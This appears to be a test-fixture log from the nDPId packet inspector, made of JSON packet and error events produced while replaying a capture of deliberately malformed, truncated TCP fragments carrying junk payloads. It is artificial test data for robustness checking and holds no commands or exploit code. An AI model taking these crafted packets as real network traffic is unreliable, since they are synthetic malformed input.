-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913127} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913139} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913153} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913165} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913176} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913271} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913279} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913287} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913294} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913301} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913308} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913315} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913322} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913331} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913344} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913364} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":1316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913374} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913389} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913404} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913416} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913428} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913437} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913447} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913459} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913472} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913484} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913509} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913521} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":1328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913533} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913545} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913558} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913570} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913583} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913595} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913606} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913619} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913635} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913647} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913659} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913671} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913684} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913698} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913710} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAktJSkhHRkQyKiZERkdISks="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025913722} 